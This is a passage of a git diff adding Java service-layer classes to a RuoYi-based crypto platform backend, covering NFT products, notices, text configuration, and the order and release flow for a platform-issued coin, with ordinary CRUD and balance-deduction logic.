com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TNftProductMapper; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.service.ITNftProductService; + +/** + * nft详情Service业务层处理 + * + * @author ruoyi + * @date 2023-09-01 + */ +@Service +public class TNftProductServiceImpl extends ServiceImpl implements ITNftProductService +{ + @Autowired + private TNftProductMapper tNftProductMapper; + + /** + * 查询nft详情 + * + * @param id nft详情主键 + * @return nft详情 + */ + @Override + public TNftProduct selectTNftProductById(Long id) + { + return tNftProductMapper.selectTNftProductById(id); + } + + /** + * 查询nft详情列表 + * + * @param tNftProduct nft详情 + * @return nft详情 + */ + @Override + public List selectTNftProductList(TNftProduct tNftProduct) + { + return tNftProductMapper.selectTNftProductList(tNftProduct); + } + + /** + * 新增nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + @Override + public int insertTNftProduct(TNftProduct tNftProduct) + { + tNftProduct.setCreateTime(DateUtils.getNowDate()); + tNftProduct.setUpdateTime(DateUtils.getNowDate()); + tNftProduct.setCreateBy(SecurityUtils.getUsername()); + tNftProduct.setUpdateBy(SecurityUtils.getUsername()); + tNftProduct.setDelFlag("0"); + tNftProduct.setStatus(1); + tNftProduct.setSaleStatus("0"); + return tNftProductMapper.insertTNftProduct(tNftProduct); + } + + /** + * 修改nft详情 + * + * @param tNftProduct nft详情 + * @return 结果 + */ + @Override + public int updateTNftProduct(TNftProduct tNftProduct) + { + tNftProduct.setUpdateTime(DateUtils.getNowDate()); + return tNftProductMapper.updateTNftProduct(tNftProduct); + } + + /** + * 批量删除nft详情 + * + * @param ids 需要删除的nft详情主键 + * @return 结果 + */ + @Override + public int deleteTNftProductByIds(Long[] ids) + { + return tNftProductMapper.deleteTNftProductByIds(ids); + } + + /** + * 删除nft详情信息 + * + * @param id nft详情主键 + * @return 结果 + */ + @Override + public int deleteTNftProductById(Long id) + { + return tNftProductMapper.deleteTNftProductById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftSeriesServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftSeriesServiceImpl.java new file mode 100644 index 0000000..7840f1c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftSeriesServiceImpl.java @@ -0,0 +1,101 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TNftSeriesMapper; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftSeriesService; + +/** + * nft合计Service业务层处理 + * + * @author ruoyi + * @date 2023-09-01 + */ +@Service +public class TNftSeriesServiceImpl extends ServiceImpl implements ITNftSeriesService +{ + @Autowired + private TNftSeriesMapper tNftSeriesMapper; + + /** + * 查询nft合计 + * + * @param id nft合计主键 + * @return nft合计 + */ + @Override + public TNftSeries selectTNftSeriesById(Long id) + { + return tNftSeriesMapper.selectTNftSeriesById(id); + } + + /** + * 查询nft合计列表 + * + * @param tNftSeries nft合计 + * @return nft合计 + */ + @Override + public List selectTNftSeriesList(TNftSeries tNftSeries) + { + return tNftSeriesMapper.selectTNftSeriesList(tNftSeries); + } + + /** + * 新增nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + @Override + public int insertTNftSeries(TNftSeries tNftSeries) + { + tNftSeries.setCreateTime(DateUtils.getNowDate()); + tNftSeries.setUpdateTime(DateUtils.getNowDate()); + tNftSeries.setCreateBy(SecurityUtils.getUsername()); + tNftSeries.setUpdateBy(SecurityUtils.getUsername()); + tNftSeries.setDelFlag("0"); + return tNftSeriesMapper.insertTNftSeries(tNftSeries); + } + + /** + * 修改nft合计 + * + * @param tNftSeries nft合计 + * @return 结果 + */ + @Override + public int updateTNftSeries(TNftSeries tNftSeries) + { + tNftSeries.setUpdateTime(DateUtils.getNowDate()); + return tNftSeriesMapper.updateTNftSeries(tNftSeries); + } + + /** + * 批量删除nft合计 + * + * @param ids 需要删除的nft合计主键 + * @return 结果 + */ + @Override + public int deleteTNftSeriesByIds(Long[] ids) + { + return tNftSeriesMapper.deleteTNftSeriesByIds(ids); + } + + /** + * 删除nft合计信息 + * + * @param id nft合计主键 + * @return 结果 + */ + @Override + public int deleteTNftSeriesById(Long id) + { + return tNftSeriesMapper.deleteTNftSeriesById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNoticeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNoticeServiceImpl.java new file mode 100644 index 0000000..c7f81a7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNoticeServiceImpl.java @@ -0,0 +1,109 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; + +import com.ruoyi.common.enums.NoticeTypeEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TNoticeMapper; +import com.ruoyi.bussiness.domain.TNotice; +import com.ruoyi.bussiness.service.ITNoticeService; + +/** + * 通知公告Service业务层处理 + * + * @author ruoyi + * @date 2023-07-20 + */ +@Service +public class TNoticeServiceImpl extends ServiceImpl implements ITNoticeService +{ + @Autowired + private TNoticeMapper tNoticeMapper; + + /** + * 查询通知公告 + * + * @param noticeId 通知公告主键 + * @return 通知公告 + */ + @Override + public TNotice selectTNoticeByNoticeId(Long noticeId) + { + return tNoticeMapper.selectTNoticeByNoticeId(noticeId); + } + + /** + * 查询通知公告列表 + * + * @param tNotice 通知公告 + * @return 通知公告 + */ + @Override + public List selectTNoticeList(TNotice tNotice) + { + return tNoticeMapper.selectTNoticeList(tNotice); + } + + /** + * 新增通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + @Override + public int insertTNotice(TNotice tNotice) + { + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + tNotice.setCreateTime(DateUtils.getNowDate()); + return tNoticeMapper.insertTNotice(tNotice); + } + + /** + * 修改通知公告 + * + * @param tNotice 通知公告 + * @return 结果 + */ + @Override + public int updateTNotice(TNotice tNotice) + { + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + tNotice.setUpdateTime(DateUtils.getNowDate()); + return tNoticeMapper.updateTNotice(tNotice); + } + + /** + * 批量删除通知公告 + * + * @param noticeIds 需要删除的通知公告主键 + * @return 结果 + */ + @Override + public int deleteTNoticeByNoticeIds(Long[] noticeIds) + { + return tNoticeMapper.deleteTNoticeByNoticeIds(noticeIds); + } + + /** + * 删除通知公告信息 + * + * @param noticeId 通知公告主键 + * @return 结果 + */ + @Override + public int deleteTNoticeByNoticeId(Long noticeId) + { + return tNoticeMapper.deleteTNoticeByNoticeId(noticeId); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOptionRulesServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOptionRulesServiceImpl.java new file mode 100644 index 0000000..e87d9da --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOptionRulesServiceImpl.java @@ -0,0 +1,95 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TOptionRulesMapper; +import com.ruoyi.bussiness.domain.TOptionRules; +import com.ruoyi.bussiness.service.ITOptionRulesService; + +/** + * 前台文本配置Service业务层处理 + * + * @author ruoyi + * @date 2023-07-19 + */ +@Service +public class TOptionRulesServiceImpl extends ServiceImpl implements ITOptionRulesService +{ + @Autowired + private TOptionRulesMapper tOptionRulesMapper; + + /** + * 查询前台文本配置 + * + * @param id 前台文本配置主键 + * @return 前台文本配置 + */ + @Override + public TOptionRules selectTOptionRulesById(Long id) + { + return tOptionRulesMapper.selectTOptionRulesById(id); + } + + /** + * 查询前台文本配置列表 + * + * @param tOptionRules 前台文本配置00 + * @return 前台文本配置 + */ + @Override + public List selectTOptionRulesList(TOptionRules tOptionRules) + { + return tOptionRulesMapper.selectTOptionRulesList(tOptionRules); + } + + /** + * 新增前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + @Override + public int insertTOptionRules(TOptionRules tOptionRules) + { + tOptionRules.setCreateTime(DateUtils.getNowDate()); + return tOptionRulesMapper.insertTOptionRules(tOptionRules); + } + + /** + * 修改前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + @Override + public int updateTOptionRules(TOptionRules tOptionRules) + { + return tOptionRulesMapper.updateTOptionRules(tOptionRules); + } + + /** + * 批量删除前台文本配置 + * + * @param ids 需要删除的前台文本配置主键 + * @return 结果 + */ + @Override + public int deleteTOptionRulesByIds(Long[] ids) + { + return tOptionRulesMapper.deleteTOptionRulesByIds(ids); + } + + /** + * 删除前台文本配置信息 + * + * @param id 前台文本配置主键 + * @return 结果 + */ + @Override + public int deleteTOptionRulesById(Long id) + { + return tOptionRulesMapper.deleteTOptionRulesById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinOrderServiceImpl.java new file mode 100644 index 0000000..3d2d950 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinOrderServiceImpl.java @@ -0,0 +1,320 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.mapper.TOwnCoinOrderMapper; +import com.ruoyi.bussiness.mapper.TOwnCoinSubscribeOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.transaction.interceptor.TransactionAspectSupport; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.List; +import java.util.Map; + +/** + * 申购订单Service业务层处理 + * + * @author ruoyi + * @date 2023-09-20 + */ +@Service +@Slf4j +public class TOwnCoinOrderServiceImpl extends ServiceImpl implements ITOwnCoinOrderService { + @Resource + private TOwnCoinOrderMapper tOwnCoinOrderMapper; + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITOwnCoinService tOwnCoinService; + @Resource + private TOwnCoinSubscribeOrderMapper tOwnCoinSubscribeOrderMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + + /** + * 查询申购订单 + * + * @param id 申购订单主键 + * @return 申购订单 + */ + @Override + public TOwnCoinOrder selectTOwnCoinOrderById(Long id) { + return tOwnCoinOrderMapper.selectTOwnCoinOrderById(id); + } + + /** + * 查询申购订单列表 + * + * @param tOwnCoinOrder 申购订单 + * @return 申购订单 + */ + @Override + public List selectTOwnCoinOrderList(TOwnCoinOrder tOwnCoinOrder) { + return tOwnCoinOrderMapper.selectTOwnCoinOrderList(tOwnCoinOrder); + } + + /** + * 新增申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + @Override + public int insertTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder) { + tOwnCoinOrder.setCreateTime(DateUtils.getNowDate()); + return tOwnCoinOrderMapper.insertTOwnCoinOrder(tOwnCoinOrder); + } + + /** + * 修改申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + @Override + public int updateTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder) { + tOwnCoinOrder.setUpdateTime(DateUtils.getNowDate()); + return tOwnCoinOrderMapper.updateTOwnCoinOrder(tOwnCoinOrder); + } + + /** + * 批量删除申购订单 + * + * @param ids 需要删除的申购订单主键 + * @return 结果 + */ + @Override + public int deleteTOwnCoinOrderByIds(Long[] ids) { + return tOwnCoinOrderMapper.deleteTOwnCoinOrderByIds(ids); + } + + /** + * 删除申购订单信息 + * + * @param id 申购订单主键 + * @return 结果 + */ + @Override + public int deleteTOwnCoinOrderById(Long id) { + return tOwnCoinOrderMapper.deleteTOwnCoinOrderById(id); + } + + @Override + @Transactional + public String createOrder(TOwnCoinOrder tOwnCoinOrder) { + try { + TOwnCoin tOwnCoin = tOwnCoinService.getById(tOwnCoinOrder.getOwnId()); + // 如果是错误的OwnCoin id + if (tOwnCoin == null) { + return MessageUtils.message("own.coin.error"); + } + long now = System.currentTimeMillis(); + // 判断是否在申购时间段 和发行中 + if (now < tOwnCoin.getBeginTime().getTime() || now > tOwnCoin.getEndTime().getTime() || tOwnCoin.getStatus() != 2) { + return MessageUtils.message("own.coin.error"); + } + //完善订单 + //效验购买上限 + Integer allAmount = tOwnCoinOrderMapper.getAllAmountByUserIdAndCoinId(tOwnCoinOrder.getOwnId(), tOwnCoinOrder.getUserId()); + log.info((allAmount + tOwnCoinOrder.getNumber().intValue()) + "================"); + if ((allAmount + tOwnCoinOrder.getNumber().intValue()) > tOwnCoin.getPurchaseLimit()) { + //计算还能购买的上限 + Integer amount = tOwnCoin.getPurchaseLimit() - allAmount; + //超出上限提示不能购买 + return MessageUtils.message("own.coin.limit.num", amount + ""); + } + tOwnCoinOrder.setOrderId("M" + OrderUtils.generateOrderNum()); + TAppUser user = tAppUserService.getById(tOwnCoinOrder.getUserId()); + tOwnCoinOrder.setStatus("1"); + tOwnCoinOrder.setAdminParentIds(user.getAdminParentIds()); + tOwnCoinOrder.setAdminUserIds(user.getAppParentIds()); + //设置价格未数据价格 + tOwnCoinOrder.setPrice(tOwnCoin.getPrice()); + tOwnCoinOrder.setOwnCoin(tOwnCoin.getCoin()); + //设置额度为数据库申购额度为数据额度 + tOwnCoinOrder.setAmount(tOwnCoin.getPrice().multiply(BigDecimal.valueOf(tOwnCoinOrder.getNumber()))); + + //需要先判断余额是否足够 + Map assetMap = tAppAssetService.getAssetByUserIdList(user.getUserId()); + TAppAsset asset = assetMap.get("usdt" + user.getUserId()); + BigDecimal price = tOwnCoinOrder.getAmount(); + BigDecimal availableAmount = asset.getAvailableAmount(); + if (availableAmount.compareTo(price) < 0) { + return MessageUtils.message("order_amount_error"); + } + tOwnCoinOrderMapper.insert(tOwnCoinOrder); + //扣减余额 + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol("usdt") + .userId(user.getUserId()) + .amout(asset.getAmout().subtract(price)) + .availableAmount(asset.getAvailableAmount().subtract(price)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //发起扣钱 + appWalletRecordService.generateRecord(user.getUserId(), price, RecordEnum.OWN_COIN_BUY.getCode(), user.getLoginName(), tOwnCoinOrder.getOrderId(), RecordEnum.OWN_COIN_BUY.getInfo(), availableAmount, availableAmount.subtract(price), "usdt", user.getAdminParentIds()); + return MessageUtils.message("own.coin.success"); + } catch (Exception e) { + e.printStackTrace(); + //手动捕获异常事务管理器会认为任务commit + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return MessageUtils.message("own.coin.error"); + } + } + + /** + * 订阅申购新发币 + * + * @param tOwnCoinOrder + * @return + */ + @Override + @Transactional + public AjaxResult placingCoins(TOwnCoinOrder tOwnCoinOrder) { + Long userId = tOwnCoinOrder.getUserId(); + Long ownId = tOwnCoinOrder.getOwnId(); + TOwnCoinOrder order = new TOwnCoinOrder(); + order.setUserId(userId); + order.setOwnId(ownId); + //校验购买数量 + Long buyNum = tOwnCoinOrder.getNumber(); + if (buyNum <= 0) { + return AjaxResult.error(MessageUtils.message("own.coin.sub.num.error")); + } + //判断OwnCoin 是否在申购时间段 和发行中 + TOwnCoin tOwnCoin = tOwnCoinService.getById(ownId); + long now = System.currentTimeMillis(); + if (tOwnCoin == null || + now < tOwnCoin.getBeginTime().getTime() || + now > tOwnCoin.getEndTime().getTime() || + tOwnCoin.getStatus() != 2) { + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + //效验订阅审批上限 + TOwnCoinSubscribeOrder subscribeOrder = + tOwnCoinService.getOrderById(ownId, userId); + if (subscribeOrder == null || !"2|3".contains(subscribeOrder.getStatus())) { + return AjaxResult.error(MessageUtils.message("own.coin.sub.error")); + } + if (buyNum > subscribeOrder.getNumLimit()) { + return AjaxResult.error(MessageUtils.message("own.coin.limit.num", subscribeOrder.getNumLimit().toString())); + } + //校验是否重复申购 + List orders = tOwnCoinOrderMapper.selectTOwnCoinOrderList(order); + if (!CollectionUtils.isEmpty(orders)) { + return AjaxResult.error(MessageUtils.message("own.coin.sub.play")); + } + //额度校验 单价*申购数量 + Map assetMap = tAppAssetService.getAssetByUserIdList(userId); + TAppAsset asset = assetMap.get("usdt" + userId); + BigDecimal amount = + subscribeOrder.getPrice().multiply(new BigDecimal(tOwnCoinOrder.getNumber())) + .setScale(4, RoundingMode.HALF_UP); + BigDecimal availableAmount = asset.getAvailableAmount(); + if (availableAmount.compareTo(amount) < 0) { + return AjaxResult.error(MessageUtils.message("own.coin.limit", availableAmount)); + } + //生成订单,扣减余额 + try { + String orderId = ""; + tOwnCoinOrder.setOrderId(orderId = "M" + OrderUtils.generateOrderNum()); + TAppUser user = tAppUserService.getById(tOwnCoinOrder.getUserId()); + tOwnCoinOrder.setStatus("1"); + tOwnCoinOrder.setPrice(subscribeOrder.getPrice()); + tOwnCoinOrder.setAmount(amount); + tOwnCoinOrder.setAdminParentIds(user.getAdminParentIds()); + tOwnCoinOrder.setAdminUserIds(user.getAppParentIds()); + tOwnCoinOrderMapper.insert(tOwnCoinOrder); + tOwnCoinSubscribeOrderMapper.updateTOwnCoinSubscribeOrderById(userId, ownId, orderId); + //平台资产USDT账户扣钱 + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol("usdt") + .userId(userId) + .amout(asset.getAmout().subtract(amount)) + .availableAmount(asset.getAvailableAmount().subtract(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //新增交易记录 + appWalletRecordService.generateRecord( + user.getUserId(), amount, RecordEnum.OWN_COIN_BUY.getCode(), + user.getLoginName(), orderId, RecordEnum.OWN_COIN_BUY.getInfo(), + availableAmount, availableAmount.subtract(amount), "usdt", user.getAdminParentIds()); + return AjaxResult.success(MessageUtils.message("own.coin.success")); + } catch (Exception e) { + e.printStackTrace(); + //手动捕获异常事务管理器会认为任务commit + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + } + + /** + * 审批新申购订单 + * + * @param tOwnCoinOrder + * @return + */ + @Override + @Transactional + public AjaxResult editPlacing(TOwnCoinOrder tOwnCoinOrder) { + //查询现有申购订单 + TOwnCoinOrder order = tOwnCoinOrderMapper.selectTOwnCoinOrderById(tOwnCoinOrder.getId()); + Long beforeNum = order.getNumber(); + Long currentNum = tOwnCoinOrder.getNumber(); + if (beforeNum.compareTo(currentNum) <= 0) { + return AjaxResult.error("审批额度已达或已超当前用户额度上限"); + } + //差值 + try { + long diffValue = beforeNum - currentNum; + tOwnCoinOrderMapper.updateTOwnCoinOrder(tOwnCoinOrder); + //数量差*发行单价 + Long userId = tOwnCoinOrder.getUserId(); + Map assetMap = tAppAssetService.getAssetByUserIdList(userId); + TAppAsset asset = assetMap.get("usdt" + userId); + TAppUser user = tAppUserService.getById(userId); + TOwnCoinSubscribeOrder subscribeOrder = + tOwnCoinService.getOrderById(tOwnCoinOrder.getOwnId(), userId); + BigDecimal amount = + subscribeOrder.getPrice().multiply(new BigDecimal(diffValue)) + .setScale(4, RoundingMode.HALF_UP); + //资产表还原多扣的钱 + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol("usdt") + .userId(userId) + .amout(asset.getAmout().add(amount)) + .availableAmount(asset.getAvailableAmount().add(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //记录表 + appWalletRecordService.generateRecord( + userId, amount, RecordEnum.OWN_COIN_BUY.getCode(), + user.getLoginName(), order.getOrderId(), RecordEnum.OWN_COIN_BUY.getInfo(), + asset.getAvailableAmount(), asset.getAvailableAmount().add(amount), "usdt", user.getAdminParentIds()); + return AjaxResult.success(MessageUtils.message("own.coin.success")); + } catch (Exception e) { + e.printStackTrace(); + //手动捕获异常事务管理器会认为任务commit + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinServiceImpl.java new file mode 100644 index 0000000..fd1b38f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinServiceImpl.java @@ -0,0 +1,349 @@ +package com.ruoyi.bussiness.service.impl; + +import cc.block.data.api.domain.market.Kline; +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.vo.TOwnCoinVO; +import com.ruoyi.bussiness.mapper.TOwnCoinMapper; +import com.ruoyi.bussiness.mapper.TOwnCoinSubscribeOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.bean.BeanUtils; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.transaction.interceptor.TransactionAspectSupport; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; + +/** + * 发币Service业务层处理 + * + * @author ruoyi + * @date 2023-09-18 + */ +@Service +public class TOwnCoinServiceImpl extends ServiceImpl implements ITOwnCoinService { + @Resource + private TOwnCoinMapper tOwnCoinMapper; + + @Resource + private TOwnCoinSubscribeOrderMapper tOwnCoinSubscribeOrderMapper; + + @Resource + private ITOwnCoinOrderService itOwnCoinOrderService; + @Resource + private IKlineSymbolService klineSymbolService; + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppAssetService tAppAssetService; + + /** + * 查询发币 + * + * @param id 发币主键 + * @return 发币 + */ + @Override + public TOwnCoin selectTOwnCoinById(Long id) { + return tOwnCoinMapper.selectTOwnCoinById(id); + } + + /** + * 查询发币列表 + * + * @param tOwnCoin 发币 + * @return 发币 + */ + @Override + public List selectTOwnCoinList(TOwnCoin tOwnCoin) { + return tOwnCoinMapper.selectTOwnCoinList(tOwnCoin); + } + + /** + * 新增发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + @Override + public int insertTOwnCoin(TOwnCoin tOwnCoin) { + tOwnCoin.setStatus(1); + tOwnCoin.setCreateTime(DateUtils.getNowDate()); + return tOwnCoinMapper.insertTOwnCoin(tOwnCoin); + } + + /** + * 修改发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + @Override + public int updateTOwnCoin(TOwnCoin tOwnCoin) { + tOwnCoin.setUpdateTime(DateUtils.getNowDate()); + return tOwnCoinMapper.updateTOwnCoin(tOwnCoin); + } + + /** + * 批量删除发币 + * + * @param ids 需要删除的发币主键 + * @return 结果 + */ + @Override + public int deleteTOwnCoinByIds(Long[] ids) { + return tOwnCoinMapper.deleteTOwnCoinByIds(ids); + } + + /** + * 删除发币信息 + * + * @param id 发币主键 + * @return 结果 + */ + @Override + public int deleteTOwnCoinById(Long id) { + return tOwnCoinMapper.deleteTOwnCoinById(id); + } + + @Override + public int editStatus(Long id) { + TOwnCoin tOwnCoin = new TOwnCoin(); + tOwnCoin.setId(id); + tOwnCoin.setStatus(2); + Date date = new Date(); + tOwnCoin.setBeginTime(date); + tOwnCoin.setEndTime(DateUtils.dateFormatDay(date, 7)); + return tOwnCoinMapper.updateById(tOwnCoin); + } + + @Override + public List selectLineList(KlineSymbol one, List his) { + for (Kline hi : his) { + Double proportion = one.getProportion().doubleValue(); + if (null == proportion || 0 == proportion) { + proportion = 100.00; + } + Double close = hi.getClose() * proportion / 100; + Double high = hi.getHigh() * proportion / 100; + Double low = hi.getLow() * proportion / 100; + Double open = hi.getOpen() * proportion / 100; + hi.setClose((hi.getClose() == 0 || hi.getClose() == null) ? 0 : new BigDecimal(close.toString()).doubleValue()); + hi.setHigh((hi.getHigh() == 0 || hi.getHigh() == null) ? 0 : new BigDecimal(high.toString()).doubleValue()); + hi.setLow((hi.getLow() == 0 || hi.getLow() == null) ? 0 : new BigDecimal(low.toString()).doubleValue()); + hi.setOpen((hi.getOpen() == 0 || hi.getOpen() == null) ? 0 : new BigDecimal(open.toString()).doubleValue()); + } + return his; + } + + /** + * 查询发币列表 + * + * @param status 新发币状态 + * @return + */ + @Override + public List ownCoinList(String status) { + Long userId = null; + try { + userId = StpUtil.getLoginIdAsLong(); + } catch (Exception e) { + e.printStackTrace(); + } + List list = this.list(new LambdaQueryWrapper().eq(TOwnCoin::getStatus, status)); + for (TOwnCoin tOwnCoin : list) { + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(tOwnCoin.getCreateTime()) ? tOwnCoin.getCreateTime().getTime() : 0l); + params.put("beginTime", Objects.nonNull(tOwnCoin.getBeginTime()) ? tOwnCoin.getCreateTime().getTime() : 0l); + params.put("endTime", Objects.nonNull(tOwnCoin.getEndTime()) ? tOwnCoin.getCreateTime().getTime() : 0l); + //未订阅状态0 + params.put("sub_status", 0); + if (userId != null) { + params.put("userId", userId); + TOwnCoinSubscribeOrder subOrder = tOwnCoinSubscribeOrderMapper.getOrderById(tOwnCoin.getId(), userId); + if (Objects.nonNull(subOrder)) { + //订阅状态,1订阅中、2订阅成功、3成功消息推送完成、4被拒绝 + params.put("sub_status", Long.valueOf(subOrder.getStatus())); + } + } + tOwnCoin.setParams(params); + } + return list; + } + + @Override + public TOwnCoinSubscribeOrder getTOwnCoinSubscribeOrder(Long id) { + return tOwnCoinSubscribeOrderMapper.selectTOwnCoinSubscribeOrderById(id); + } + + @Transactional + @Override + public int editReleaseStatus(Long id) { + TOwnCoin tOwnCoin = tOwnCoinMapper.selectTOwnCoinById(id); + if (tOwnCoin == null || tOwnCoin.getStatus() != 2) { + return 0; + } + try { + //查询该币所有订单 + List orderList = itOwnCoinOrderService.list(new LambdaQueryWrapper() + .eq(TOwnCoinOrder::getStatus, "1").eq(TOwnCoinOrder::getOwnId, tOwnCoin.getId())); + for (TOwnCoinOrder tOwnCoinOrder : orderList) { + tOwnCoinOrder.setStatus("2"); + //订单结算 资产币种数量 资产总额=占用(冻结)+可用 amount=occupied_amount+available_amount + BigDecimal amount = new BigDecimal(tOwnCoinOrder.getNumber()); + String ownCoin = tOwnCoinOrder.getOwnCoin(); + //创建资产 + TAppUser user = tAppUserService.getById(tOwnCoinOrder.getUserId()); + Map assetMap = tAppAssetService.getAssetByUserIdList(tOwnCoinOrder.getUserId()); + if (!assetMap.containsKey(ownCoin.toLowerCase() + tOwnCoinOrder.getUserId())) { + tAppAssetService.createAsset(user, ownCoin.toLowerCase(), AssetEnum.PLATFORM_ASSETS.getCode()); + } + assetMap = tAppAssetService.getAssetByUserIdList(tOwnCoinOrder.getUserId()); + TAppAsset asset = assetMap.get(ownCoin.toLowerCase() + tOwnCoinOrder.getUserId()); + BigDecimal availableAmount = asset.getAvailableAmount(); + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol(ownCoin.toLowerCase()) + .userId(tOwnCoinOrder.getUserId()) + .amout(asset.getAmout().add(amount)) + .availableAmount(availableAmount.add(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //帐变 + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.OWN_COIN_BUY.getCode(), + user.getLoginName(), tOwnCoinOrder.getOrderId(), RecordEnum.OWN_COIN_BUY.getInfo(), + availableAmount, availableAmount.add(amount), ownCoin.toLowerCase(), user.getAdminParentIds()); + } + itOwnCoinOrderService.saveOrUpdateBatch(orderList); + //订单结算完成 将币种添加至币种列表 + KlineSymbol klineSymbol = new KlineSymbol() + .setSymbol(tOwnCoin.getCoin().toLowerCase()) + 